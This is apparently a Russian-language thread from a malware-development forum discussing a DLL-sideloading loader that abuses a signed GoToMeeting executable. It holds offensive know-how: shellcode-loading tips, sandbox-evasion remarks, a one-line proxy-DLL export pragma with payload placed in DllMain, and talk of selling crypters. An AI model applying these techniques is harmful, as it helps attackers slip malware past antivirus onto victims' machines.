  • 1719660783679.png
    1719660783679.png
    70 КБ · Просмотры: 219
  • 1719669462395.png
    1719669462395.png
    26.1 КБ · Просмотры: 203
  • 1719669934440.png
    1719669934440.png
    37.3 КБ · Просмотры: 182
  • Sources.zip
    418 КБ · Просмотры: 124
Последнее редактирование модератором:
Немного придерусь.




Зачем искать GetModuleHandle в экспортах и затем вызывать ее чтобы заново достать адрес kernel32.dll, который ты уже получил из PEB?



А это зачем. Очевидно что GetCurrentProcess() возвратит -1, достаточно было вызвать VirtualAlloc даже без указания хэндла процесса, даже если юзать Ex - зачем искать функцию (GetCurrentProcess) которая заведомо возвратит псевдохендл



А это вообще зачем? Зачем вызывать стороннюю функцию из либы когда можно просто скопировать байты, ты же в свой процесс пишешь

Но обфускация огонь, окэй
Дело в том что нихера не работало из под дллки когда писал в свой же процесс было WerFault. В ехе я мог просто из под виртуалалока вызаться а тут этот геморрой пришлось делать. Если хочешь сам попробуй стандартной загрузкой шелкода. Про модульхендл я не углядел спать уже хотел.
 
Последнее редактирование:
Сложна. Но если мсвц компилишь не проще ли юзать

C:
#define mem_copy(dest,source,size) __movsb((PBYTE)dest,(PBYTE)source,size)

Да из под MinGW/Clang интринсики тоже вроде доступны

(боимся юзать memcpy зато str*** юзаем смело :P)
У меня мсвцрт + мингв + частями сам шлинуксовский гну поэтому так удобнее было.
Ну на шлинуксе у меня стринги с шланга который на нем и компилирует нормально + в стрингах если в диассемблере посмотришь нету почти копирований строк, там это встроено.
 
Вольный перевод DLL Sideloading ?
Них не понял? Какой нах перевод? Я даже с иды сам доставал когда файл первый асм крипта кинули смотрел как работает ещё со времён акроброкера почему ты взял что перевод?
 
а что там идой смотреть-то? дизассемблер целый ставить ))) импорт можно посмотреть чем угодно, хоть DiE тем же или CFF Explorer.
ADD:
на счет вирустотала. там в основном юзаются виртуалки , Zenbox, C2AE\CAPE Sandbox,Cuckoo Sandbox,Jujubox они практически все опенсорцы и фиксятся постоянно, смысла нет по имени пользователя и машины проверять.
Я так просто написал по возникшим своим ассоциациям- просто случайно мимоходом посмотрел этот топик.
 
Последнее редактирование:
а что там идой смотреть-то? дизассемблер целый ставить ))) импорт можно посмотреть чем угодно, хоть DiE тем же или CFF Explorer.
Ну хз есть сайдлоады от того же Касперского где надо добавлять дополнительно возврат функции или слип чтобы не вылетело. Со времён акроброкера была тема, про г2м решил сделать потому что его сейлили направо и налево.
 
Зачем огород городить. Можно вообще обойтись прокси-длл, не заглядывая ни в какой дизассемблер, имея только имена импортов, через элементарное проксирование, к примеру для мелкософтовского линкера одна строчка: #pragma comment(linker, "/export:g2mcomm_winmain=g2m_real.g2mcomm_winmain"), при этом полезный код в своей либе поместить в DllMain.
 
Зачем огород городить. Можно вообще обойтись прокси-длл, не заглядывая ни в какой дизассемблер, имея только имена импортов, через элементарное проксирование, к примеру для мелкософтовского линкера одна строчка: #pragma comment(linker, "/export:g2mcomm_winmain=g2m_real.g2mcomm_winmain"), при этом полезный код в своей либе поместить в DllMain.
Ну им тоже надо иметь пользоваться для начала. мб завести в тот же мингв тебе будет сложнее чем в визуал хуюдио так же экспорт.
 
автор молодец, хочет разобраться в теме. Для новичка который первый раз пытается что то подобное написать очень не плохо. Понятное дело что для работы в дикой природе здесь нужно все переделывать, но поиграться и посмотреть как работают функции вполне можно
 
У этой конторки "LogMeIn" во многих продуктах (вернее допы основного продукта) есть подобные экзе подходящие.
Один деятель англоязычный, тут продавал "мега крутой крипт" как раз с экзе из статьи. Всем кидал "пруф" с ней.
Автору респект.
 
братан, ты легенда) спасибо за твой труд. я чуточку поигрался, пэйлоуды на Ц++ заходят на ура, а вот .NET ассембли не хочет. Я правильно понимаю что это зависит от главного ехе-шника, если он натив или .NET ?
 
братан, ты легенда) спасибо за твой труд. я чуточку поигрался, пэйлоуды на Ц++ заходят на ура, а вот .NET ассембли не хочет. Я правильно понимаю что это зависит от главного ехе-шника, если он натив или .NET ?
Угу от него зависит, если net то путь к нетфреймворк системному 403 или какая там версия обычно в него инжектишь как бы
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх